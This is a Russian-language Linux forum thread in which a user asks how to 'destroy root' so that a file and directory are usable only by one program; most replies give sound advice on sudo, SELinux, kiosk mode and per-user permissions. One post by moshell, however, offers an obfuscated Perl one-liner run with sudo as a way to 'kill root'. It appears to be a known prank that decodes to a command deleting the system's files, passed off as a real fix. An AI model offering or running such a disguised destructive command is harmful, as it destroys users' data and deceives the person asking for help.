Linux Forum — уничтожить root

Re: уничтожить root

null@example.com (MozgFx) — Sun, 23 Feb 2014 06:34:15 +0000

Учетная запись root есть и её нельзя удалить.
В противном случае как пользователь планирует повышать привилегии приложений?
Можно только отключить. В Ubuntu так это делается "sudo passwd -dl root" да и включить её не составит труда по той же инструкции...
Да там вообще написано sudo выполняется с паролем пользователя, а не рута...
Поэтому пользователю Ubuntu подходит меньше всего...
https://help.ubuntu.com/community/RootSudo

Re: уничтожить root

null@example.com (Wolfenberg) — Sun, 23 Feb 2014 05:33:27 +0000

mozgfx пишет:

Набрать в Google "how to remove root ubuntu"
Там по умолчанию root "сломали" то есть выполнять приложения можно с привелегиями. А вот авторизоваться нельзя.

Это кто ещё придумал?

Консоль:

sudo passwd
su

Re: уничтожить root

null@example.com (drBatty) — Sat, 22 Feb 2014 22:56:42 +0000

mozgfx пишет:

Там по умолчанию root "сломали" то есть выполнять приложения можно с привелегиями. А вот авторизоваться нельзя.

ну почему же нельзя? sudo -i никто не отменял. А многие кулибины придумали sudo su.

Вот только ТСу совсем НЕ это нужно, перечитайте пожалуйста первый пост. И этот: уничтожить root Это не киоск, а какое-то одно приложение, тут нужно либо sudo -u userB, либо ещё что-то такое.

redix пишет:

В Fedora root есть

root есть везде. Без него Linux тупо не загрузится.

Re: уничтожить root

null@example.com (redix) — Sat, 22 Feb 2014 22:24:58 +0000

mozgfx пишет:

А вот авторизоваться нельзя.

В Fedora root есть, а авторизоваться тоже нельзя — колдовать нужно.

Re: уничтожить root

null@example.com (MozgFx) — Sat, 22 Feb 2014 22:20:51 +0000

Набрать в Google "how to remove root ubuntu"
Там по умолчанию root "сломали" то есть выполнять приложения можно с привелегиями. А вот авторизоваться нельзя.

Re: уничтожить root

null@example.com (MozgFx) — Sat, 22 Feb 2014 22:11:25 +0000

stranger пишет:

yars пишет:
kiosk
Обоснуйте пожалуйста!

Данный режим запрещает пользователю все. Ему доступны только те функции к которым ему дали доступ. Киоск называется по тому что терминал оплаты заменил киоскеров. Если видели терминал или банкомат то это оно и есть. В банках и магазинах данный режим даёт пользователю доступ к браузеру со специальной версией сайта. Пользователь может просматривать страницы, но закрыть браузер не может.

Re: уничтожить root

null@example.com (drBatty) — Sat, 22 Feb 2014 11:14:14 +0000

Cruiser78 пишет:

Учим SELinux. Это как раз для него типовая задача.

отстрел комаров из BFG-10k ИМХО. Но да, можно попробовать…

Re: уничтожить root

null@example.com (drBatty) — Sat, 22 Feb 2014 11:11:23 +0000

polzovatel пишет:

Цель такова

наверное вы хотите, что-бы на русском форуме вам объяснили, кто вы такой… Я угадал?

polzovatel пишет:

Прошу прощения за сумбур..... цель-использование файла и каталога только программой и сокрытие того-же файла/каталога от просмотра Всеми остальными кроме проги.

1. создаёте двух юзеров А, Б
2. ставите под Б программу
3. делаете

Консоль:

$ chmod 0700 ~

под Б
4. через sudo разрешаете выполнять программу юзеру А под именем Б
5. по вкусу добавляете ещё какие-нить политики/разрешения.

Re: уничтожить root

null@example.com (moshell) — Fri, 21 Feb 2014 12:16:18 +0000

что ж вы над человеком так издеваетесь?
можно убить рута
если автор того хочет

sudo echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Re: уничтожить root

null@example.com (Cruiser78) — Fri, 21 Feb 2014 08:01:52 +0000

polzovatel пишет:

Прошу прощения за сумбур..... цель-использование файла и каталога только программой и сокрытие того-же файла/каталога от просмотра Всеми остальными кроме проги.

Учим SELinux. Это как раз для него типовая задача.

Re: уничтожить root

null@example.com (smaharbA) — Fri, 21 Feb 2014 07:14:54 +0000

в инитрд монтировать и запрускать нужное

Re: уничтожить root

null@example.com (polzovatel) — Fri, 21 Feb 2014 05:03:00 +0000

Прошу прощения за сумбур..... цель-использование файла и каталога только программой и сокрытие того-же файла/каталога от просмотра Всеми остальными кроме проги.

Re: уничтожить root

null@example.com (yars) — Thu, 20 Feb 2014 16:03:02 +0000

polzovatel пишет:

чтоб никто из под user не смог никак ничего изменить....

Правда, он сможет изменять некоторые настройки , но до следующей перезагрузки.

Re: уничтожить root

null@example.com (stranger) — Thu, 20 Feb 2014 16:02:09 +0000

yars пишет:

kiosk

Обоснуйте пожалуйста!

Re: уничтожить root

null@example.com (yars) — Thu, 20 Feb 2014 16:00:06 +0000

kiosk